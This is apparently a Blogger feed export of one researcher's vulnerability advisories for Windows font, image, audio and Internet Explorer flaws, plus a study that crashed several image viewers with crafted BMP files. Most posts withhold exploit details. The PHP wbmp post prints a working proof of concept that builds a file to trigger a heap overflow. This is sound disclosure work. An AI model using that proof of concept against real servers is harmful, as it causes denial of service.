decompresses each chunk and transforms some of the tables back into ttf format.More on the EOT format and the compression/decompression process can be found at the following links:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.w3.org/Submission/EOT/"&gt;http://www.w3.org/Submission/EOT/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.w3.org/Submission/2008/SUBM-MTX-20080305/"&gt;http://www.w3.org/Submission/2008/SUBM-MTX-20080305/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;The vulnerability&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;The vulnerability is an integer overflow that can occur during the conversion of hdmx table from MicroType (compressed format used by EOT) back to the TrueType format. By exploiting this integer overflow the attacker can write arbitrary data to a memory location b+x, where b is the buffer location and x is (almost arbitrary) 32-bit number controlled by the attacker.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Impact&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;This vulnerability can be used to achieve remote code execution if a user views a web page containing a reference to a specially crafted font file.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;PoC&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Due to the spread and the impact of the vulnerability, exploiting details will not be released at this time.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;References&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/technet/security/bulletin/MS10-076.mspx"&gt;http://www.microsoft.com/technet/security/bulletin/MS10-076.mspx&lt;/a&gt;&lt;br /&gt;&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1883"&gt;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1883&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2001595886969899899-6930584828890149366?l=ifsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ifsec.blogspot.com/feeds/6930584828890149366/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2001595886969899899&amp;postID=6930584828890149366' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default/6930584828890149366'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default/6930584828890149366'/><link rel='alternate' type='text/html' href='http://ifsec.blogspot.com/2010/10/embedded-open-type-eot-fonts-remote.html' title='Embedded Open Type (EOT) fonts remote code execution'/><author><name>Ivan Fratric</name><uri>http://www.blogger.com/profile/03011648433786848352</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2001595886969899899.post-2762036907670358563</id><published>2009-10-14T03:30:00.000-07:00</published><updated>2009-10-14T03:39:12.818-07:00</updated><title type='text'>Windows GDI+ TIFF memory corruption</title><content type='html'>There is a memory corruption vulnerability in TIFF file processing in Microsoft GDI+ that can be used to crash a vulnerable application and also to execute arbitrary code.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;The vulnerability&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;The vulnerability is caused due to errors in decompression of CCITT G4 compressed TIFF images.&lt;br /&gt;CCITT compression is basically a RLE (Run Length Encoding) compression of 2-color (black/white) images where run lengths of black and white pixels are encoded using variable number of bits. In the first step of decoding process run-lengths are determined and are stored in a buffer of the same length as image width located on heap. After this process the values inside the buffer are interpreted as&lt;br /&gt;&lt;br /&gt;[white-run-length][black-run-length][white-run-length][black-run-length]...&lt;br /&gt;&lt;br /&gt;The process of filling the above buffer continues until the sum of all run-lengths already written in the buffer is smaller than the image width.The vulnerability stems from the fact that, by the encoding mechanism, a 0-run length is completely valid. Thus, if we specify multiple run-lengths of zero pixels at the beginning of the image row, we can escape the buffer boundaries and write arbitrary value after the end of the buffer.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Impact&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;This vulnerability can be used to run arbitrary code when an application using GDI+ is used to open a malformed TIF file. The code will be run with the privilages of the vulnerable application.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;PoC&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;/em&gt;&lt;br /&gt;Due to the spread and the impact of the vulnerability, exploiting details will not be released at this time.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;References&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.zerodayinitiative.com/advisories/ZDI-09-072/"&gt;http://www.zerodayinitiative.com/advisories/ZDI-09-072/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/technet/security/bulletin/ms09-062.mspx"&gt;http://www.microsoft.com/technet/security/bulletin/ms09-062.mspx&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2503"&gt;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2503&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2001595886969899899-2762036907670358563?l=ifsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ifsec.blogspot.com/feeds/2762036907670358563/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2001595886969899899&amp;postID=2762036907670358563' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default/2762036907670358563'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default/2762036907670358563'/><link rel='alternate' type='text/html' href='http://ifsec.blogspot.com/2009/10/windows-gdi-tiff-memory-corruption.html' title='Windows GDI+ TIFF memory corruption'/><author><name>Ivan Fratric</name><uri>http://www.blogger.com/profile/03011648433786848352</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2001595886969899899.post-6140181136045174857</id><published>2009-10-14T03:25:00.001-07:00</published><updated>2009-10-14T03:29:57.184-07:00</updated><title type='text'>Windows Media Audio Voice remote code execution</title><content type='html'>There is a vulnerability in Windows Media Audio Voice decoder distributed with Windows Media Player that allows remote code execution by opening a specially crafted web page.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;The vulnerability&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;The cause of the vulnerability is a bound checking error in the code used to decompress Windows Media Audio Voice compressed audio files (located in wmspdmod.dll). Namely, the vulnerability is caused by not properly sanitizing the audio sample rate information contained in the .wma voice file.The maximum allowed sample rate for .wma voie files is 22050 Hz. However, it can be set as high as 96000 Hz (the maximum for any .wma file) without being rejected.By setting the sample rate in .wma voice file between 22050 Hz and 96000 Hz, the attacker can corrupt memory on stack or (indirectly) on heap of the vulnerable process.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Impact&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;This vulnerability can be used to achieve remote code execution by tricking the victim into opening an attacker-controlled web page. This can be done by specifying a malformed .wma file as a webpage background sound (bgsound tags) or by embedding windows media player in a web page (embed tags). This attack works with multiple browsers (tested on Internet Explorer 6, Internet Explorer 7 and Mozilla Firefox 2 under Windows XP, other browsers and Windows version are affected as well).&lt;br /&gt;&lt;br /&gt;&lt;em&gt;PoC&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Due to the spread and the impact of the vulnerability, exploiting details will not be released at this time.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;References&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.zerodayinitiative.com/advisories/ZDI-09-069/"&gt;http://www.zerodayinitiative.com/advisories/ZDI-09-069/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/technet/security/bulletin/ms09-051.mspx"&gt;http://www.microsoft.com/technet/security/bulletin/ms09-051.mspx&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0555"&gt;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0555&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2001595886969899899-6140181136045174857?l=ifsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ifsec.blogspot.com/feeds/6140181136045174857/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2001595886969899899&amp;postID=6140181136045174857' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default/6140181136045174857'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default/6140181136045174857'/><link rel='alternate' type='text/html' href='http://ifsec.blogspot.com/2009/10/windows-media-audio-voice-remote-code.html' title='Windows Media Audio Voice remote code execution'/><author><name>Ivan Fratric</name><uri>http://www.blogger.com/profile/03011648433786848352</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2001595886969899899.post-7367029825009727070</id><published>2009-04-15T06:29:00.001-07:00</published><updated>2009-04-15T06:31:23.058-07:00</updated><title type='text'>Internet Explorer 6 history.go() Remote Code Execution</title><content type='html'>There is a vulnerability in the implementation of history.go() function in Internet Explorer 6 exposed via JavaScript. The vulnerability enables the execution of arbitrary code if the user visits a web page controlled by the attacker.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;The vulnerability&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;The vulnerability is in the erroneous implementation of history.go() function when called with a certain argument.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Impact&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;This vulnerability can be used to achieve remote code execution when a victim visits a specially crafted web page.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;PoC&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Due to the spread and the impact of the vulnerability, exploiting details will not be released at this time.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;References&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/technet/security/Bulletin/MS09-014.mspx"&gt;http://www.microsoft.com/technet/security/Bulletin/MS09-014.mspx&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0552"&gt;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0552&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2001595886969899899-7367029825009727070?l=ifsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ifsec.blogspot.com/feeds/7367029825009727070/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2001595886969899899&amp;postID=7367029825009727070' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default/7367029825009727070'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default/7367029825009727070'/><link rel='alternate' type='text/html' href='http://ifsec.blogspot.com/2009/04/internet-explorer-6-historygo-remote.html' title='Internet Explorer 6 history.go() Remote Code Execution'/><author><name>Ivan Fratric</name><uri>http://www.blogger.com/profile/03011648433786848352</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2001595886969899899.post-1061894414755748543</id><published>2008-10-15T01:38:00.000-07:00</published><updated>2008-10-15T02:09:31.495-07:00</updated><title type='text'>Internet Explorer 6 componentFromPoint() remote memory disclosure and remote code execution</title><content type='html'>There is a bug in Internet Explorer 6 JavaScript implementation enabling remote memory disclosure and remote code execution. The vulnerability is caused by improper implementation of componentFromPoint() method of xml object.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;The vulnerability&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;The vulnerability is triggered by errornous behavior of componentFromPoint() method when invoked on a newly created xml object.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Impact&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;This vulnerability can be used (trivially) to remotely disclose Internet Explorer's memory when a victim visits a specially crafted web page or (less trivially) to achieve remote code execution when a victim visits a specially crafted web page.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;PoC&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Due to the spread and the impact of the vulnerability, exploiting details will be released at a later date, once everyone has had plenty of time to patch.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;References&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.zerodayinitiative.com/advisories/ZDI-08-069/"&gt;http://www.zerodayinitiative.com/advisories/ZDI-08-069/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/technet/security/bulletin/MS08-058.mspx"&gt;http://www.microsoft.com/technet/security/bulletin/MS08-058.mspx&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3475"&gt;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3475&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2001595886969899899-1061894414755748543?l=ifsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ifsec.blogspot.com/feeds/1061894414755748543/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2001595886969899899&amp;postID=1061894414755748543' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default/1061894414755748543'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default/1061894414755748543'/><link rel='alternate' type='text/html' href='http://ifsec.blogspot.com/2008/10/internet-explorer-6-componentfrompoint.html' title='Internet Explorer 6 componentFromPoint() remote memory disclosure and remote code execution'/><author><name>Ivan Fratric</name><uri>http://www.blogger.com/profile/03011648433786848352</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2001595886969899899.post-6611186589404716574</id><published>2008-09-10T01:52:00.000-07:00</published><updated>2008-09-10T01:54:20.095-07:00</updated><title type='text'>Windows GDI+ GIF memory corruption</title><content type='html'>There is a memory corruption vulnerability in GIF file processing in Microsoft GDI+ that can be used to crash a vulnerable application and potentially execute arbitrary code.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;The vulnerability&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;The vulnerability is caused due to improper handling of graphic control extension when processing malformed GIF files. The vulnerability can be triggered if a large number of extension markers (0x21) followed by unknown labels is found when processing a GIF file.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Impact&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;This vulnerability can be used to corrupt memory of any application utilizing GDI+ for GIF file decoding if it is used to open a malformed GIF file. This could lead to code execution with the privileges of the user running the vulnerable application.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;References&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;/em&gt;&lt;br /&gt;&lt;a href="http://www.zerodayinitiative.com/advisories/ZDI-08-056/"&gt;http://www.zerodayinitiative.com/advisories/ZDI-08-056/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/technet/security/bulletin/ms08-052.mspx"&gt;http://www.microsoft.com/technet/security/bulletin/ms08-052.mspx&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3013"&gt;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3013&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2001595886969899899-6611186589404716574?l=ifsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ifsec.blogspot.com/feeds/6611186589404716574/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2001595886969899899&amp;postID=6611186589404716574' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default/6611186589404716574'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default/6611186589404716574'/><link rel='alternate' type='text/html' href='http://ifsec.blogspot.com/2008/09/windows-gdi-gif-memory-corruption.html' title='Windows GDI+ GIF memory corruption'/><author><name>Ivan Fratric</name><uri>http://www.blogger.com/profile/03011648433786848352</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2001595886969899899.post-3035250837659633227</id><published>2007-04-07T02:56:00.000-07:00</published><updated>2007-04-07T03:03:11.000-07:00</updated><title type='text'>PHP &lt;= 5.2.1 wbmp file handling integer overflow</title><content type='html'>There is an integer overflow in PHP in ext/gd/libgd/wbmp.c in the function readwbmp. If large enough values are specified for wbmp image height and/or width, so that width*height &gt; 2^32, an integer overflow occurs on the following line&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;if ((wbmp-&gt;bitmap = (int *) safe_emalloc(wbmp-&gt;width * wbmp-&gt;height, sizeof(int), 0)) == NULL)&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;causing the amount of memory allocated to be smaller than the amount of data to be read, subsequently causing buffer overflow (See the DoS PoC below).&lt;br /&gt;&lt;br /&gt;Upon discovery, I first thought this to be a LibGD issue, however the file wbmp.c is changed in LibGD (as early as in version 2.0.33 released in 2004) and does not have this overflow.&lt;br /&gt;&lt;br /&gt;As the only values written in memory upon exploiting this can be (int)0 and (int)1, exploiting this for anything other then DoS seems highly unlikely.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Timeline&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Feb 14 2007 - Vulnerability discovered&lt;br /&gt;Mar 7 2007 - Vendor contacted&lt;br /&gt;Mar 7 2007 - Vendor responded, confirmed the bug and said they plan to fix it in PHP 5.2.2, which is to be released in April&lt;br /&gt;Apr 7 2007 - Release of this advisory&lt;br /&gt;&lt;br /&gt;Note: I was going to wait until the release of PHP 5.2.2 before publishing this, but seeing FrSIRT (and possibly others) already pubished it I am pushing the release forward a bit.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;References&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.php.net/"&gt;http://www.php.net/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1001"&gt;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1001&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.frsirt.com/english/advisories/2007/1269"&gt;http://www.frsirt.com/english/advisories/2007/1269&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;PoC&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;font-size:85%;"&gt;#define BUFSIZE 1000000&lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;int c;&lt;br /&gt;char buf[BUFSIZE];&lt;br /&gt;&lt;br /&gt;FILE *fp = fopen("test.wbmp","w");&lt;br /&gt;&lt;br /&gt;//write header&lt;br /&gt;c = 0;&lt;br /&gt;fputc(c,fp);&lt;br /&gt;fputc(c,fp);&lt;br /&gt;&lt;br /&gt;//write width = 2^32 / 4 + 1&lt;br /&gt;c = 0x84;&lt;br /&gt;fputc(c,fp);&lt;br /&gt;c = 0x80;&lt;br /&gt;fputc(c,fp);&lt;br /&gt;fputc(c,fp);&lt;br /&gt;fputc(c,fp);&lt;br /&gt;c = 0x01;&lt;br /&gt;fputc(c,fp);&lt;br /&gt;&lt;br /&gt;//write height = 4&lt;br /&gt;c = 0x04;&lt;br /&gt;fputc(c,fp);&lt;br /&gt;&lt;br /&gt;//write some data to cause overflow&lt;br /&gt;fwrite(buf,sizeof(buf),1,fp);&lt;br /&gt;&lt;br /&gt;fclose(fp);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;$image = imagecreatefromwbmp('test.wbmp'); //overflow occurs&lt;br /&gt;?&amp;gt;?&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2001595886969899899-3035250837659633227?l=ifsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ifsec.blogspot.com/feeds/3035250837659633227/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2001595886969899899&amp;postID=3035250837659633227' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default/3035250837659633227'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default/3035250837659633227'/><link rel='alternate' type='text/html' href='http://ifsec.blogspot.com/2007/04/php-521-wbmp-file-handling-integer.html' title='PHP &lt;= 5.2.1 wbmp file handling integer overflow'/><author><name>Ivan Fratric</name><uri>http://www.blogger.com/profile/03011648433786848352</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2001595886969899899.post-3621659634277480120</id><published>2007-04-04T00:35:00.000-07:00</published><updated>2007-04-04T01:40:28.194-07:00</updated><title type='text'>Several Windows image viewers vulnerabilities</title><content type='html'>&lt;strong&gt;&lt;/strong&gt;&lt;strong&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;Table of contents&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;1. Introduction&lt;br /&gt;2. Description of experiments&lt;br /&gt;3. Image viewers&lt;br /&gt;4. Experimental results&lt;br /&gt;5. Concluding remarks&lt;br /&gt;&lt;br /&gt;Appendix I - Timeline&lt;br /&gt;Appendix II - A possible Win XP SP1 vulnerability&lt;br /&gt;Appendix III - Source code&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;1. Introduction&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;The purpose of this post is to present a small research covering security of several popular Windows image viewers. Although, when discussing security of image viewing software, web browsers are usually implied, since they will be on the 'front lines' in the unsafe environment such as the Internet, there are cases in which you may open potentially dangerous image file with your favorite image viewer. Some examples are:&lt;br /&gt;&lt;br /&gt;- If you click on the attachment in your email application&lt;br /&gt;- If you click on a file in an archive (such as zip or rar) you downloaded or got by email&lt;br /&gt;- If you open a file on a network shared folder&lt;br /&gt;- If you download the file using p2p programs such as BitTorrent and eMule&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;2. Description of experiments&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;The experiments were conducted as follows: Several errornous windows bitmap (.bmp) files were specially crafted to cause buffer overflows in certain cases, if such cases are not handled properly by the opening application. Each of these images was opend with all of the viewers included in this research and unexpected viewer behavior was noted. Here is the list of images used with their short descriptions.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;paletteof1.bmp&lt;br /&gt;&lt;/em&gt;This file defines a colormap larger than 256 entries (max allowed)&lt;br /&gt;&lt;br /&gt;&lt;em&gt;paletteof2.bmp&lt;/em&gt;&lt;br /&gt;Similar to paletteof1.bmp, except the colormap is even larger&lt;br /&gt;&lt;br /&gt;&lt;em&gt;rle8of1.bmp&lt;br /&gt;&lt;/em&gt;Uses run-length encoded blocks that extend beyond the image dimensions&lt;br /&gt;&lt;br /&gt;&lt;em&gt;rle8of2.bmp&lt;/em&gt;&lt;br /&gt;Similar to rle8of1 except errornous RLE blocks start with a different offset&lt;br /&gt;&lt;br /&gt;&lt;em&gt;rle8of3.bmp&lt;/em&gt;&lt;br /&gt;Uses xoffset and yoffset command in RLE encoded bmp in order to escape past image boundaries, then uses non-RLE encoded blocks to write data&lt;br /&gt;&lt;br /&gt;&lt;em&gt;rle8of4.bmp&lt;/em&gt;&lt;br /&gt;similar to rle8of4.bmp except it doesn't use xoffset and yoffset, but still specififies enough non-RLE encoded blocks to escape image boundaries&lt;br /&gt;&lt;br /&gt;&lt;em&gt;wh3intof.bmp&lt;br /&gt;&lt;/em&gt;Image dimensions are set so that width*height*3 causes integer overflow in 32-bit processors thus causing the amount of memory allocated for the storage of bitmap bits to be smaller than the actual data provided&lt;br /&gt;&lt;br /&gt;&lt;em&gt;wh4intof.bmp&lt;/em&gt;&lt;br /&gt;Image dimensions are set so that width*height*4 causes integer overflow in 32-bit processors thus causing the amount of memory allocated for the storage of bitmap bits to be smaller than the actual data provided&lt;br /&gt;&lt;br /&gt;&lt;em&gt;w3intof.bmp&lt;br /&gt;&lt;/em&gt;Image dimensions are set so that width*3 causes integer overflow in 32-bit processors thus causing the amount of memory allocated for the storage of a single bitmap row to be smaller than the actual data provided&lt;br /&gt;&lt;br /&gt;&lt;em&gt;w4intof.bmp&lt;/em&gt;&lt;br /&gt;Image dimensions are set so that width*4 causes integer overflow in 32-bit processors thus causing the amount of memory allocated for the storage of a single bitmap row to be smaller than the actual data provided&lt;br /&gt;&lt;br /&gt;The code used to generate all of the above images is provided in Appendix III, so you can use it to test your favorite image viewer if it was not included here.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;3. Image viewers&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Several popular image viewers were selected for this test. The most recent version of these viewers at the time of testing was used. The viewers are&lt;br /&gt;&lt;br /&gt;&lt;em&gt;ACDSee 9.0 Photo Manager&lt;/em&gt;&lt;br /&gt;&lt;em&gt;IrfranView 3.99&lt;/em&gt;&lt;br /&gt;&lt;em&gt;FastStone Image Viewer 2.9&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;4. Experimental results&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;Test system: Windows XP SP2 on Mobile AMD Sempron 3000+, 512MB RAM&lt;br /&gt;&lt;br /&gt;&lt;em&gt;ACDSee 9.0 Photo Manager&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;w4intof.bmp - Application closes&lt;br /&gt;&lt;br /&gt;&lt;em&gt;ACDSee 9.0 Quick View&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;w3intof.bmp - Microsoft Visual C++ Runtime Library: Runtime Error&lt;br /&gt;w4intof.bmp - Application crashes, Exception code 0xc0000005 (access violation)&lt;br /&gt;&lt;br /&gt;&lt;em&gt;IrfranView 3.99&lt;br /&gt;&lt;/em&gt;&lt;br /&gt;rle8of3.bmp - Application crashes, Exception code 0xc0000005 (access violation)&lt;br /&gt;rle8of4.bmp - Application crashes, The memory could not be "written" Application error&lt;br /&gt;&lt;br /&gt;&lt;em&gt;FastStone Image Viewer 2.9&lt;br /&gt;&lt;/em&gt;&lt;br /&gt;wh3intof.bmp - Application window closes, however application keeps running in the background consuming 100% of CPU resource&lt;br /&gt;wh4intof.bmp - Application closes&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;5. Concluding remarks&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;All of the applications tested showed some sort of unpredicted behavior on some of the images, demonstrating the need to further enhance the security of products of this type. Accessing memory locations outside the allowed space, possible in some applications as demonstrated above, is especially dangerous since it has a potential for being exploited by a malicious hacker to execute arbitrary code on the unsuspecting user's computer. Other vulnerabilities should also not be disregarded since they could, in theory at least, be used in Dos attacks.&lt;br /&gt;Since no actual code execution was analysed in detail, it is impossible to say from the above just what consequences could any of the above have. I leave this analysis to the vendors of applications tested.&lt;br /&gt;Note that this small research only covers bmp images, so that the presence of various other vulnerabilities is also possible (if not probable) in the code used to handle decoding of images in other formats.&lt;br /&gt;All in all, best be carefull next time you click on that image of Britney Spears' shaved ... head :-)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Appendix I - Timeline&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Feb 15 2007&lt;/em&gt; - Experiments made&lt;br /&gt;&lt;em&gt;Feb 18 2007&lt;/em&gt; - 1st attempt to contact vendors&lt;br /&gt;&lt;em&gt;Feb 19 2007&lt;/em&gt; - IrfranView programmer responded, said the code would be fixed in the upcoming version, due out soon&lt;br /&gt;&lt;em&gt;Feb 21 2007&lt;/em&gt; - 2nd attempt to contact remaining 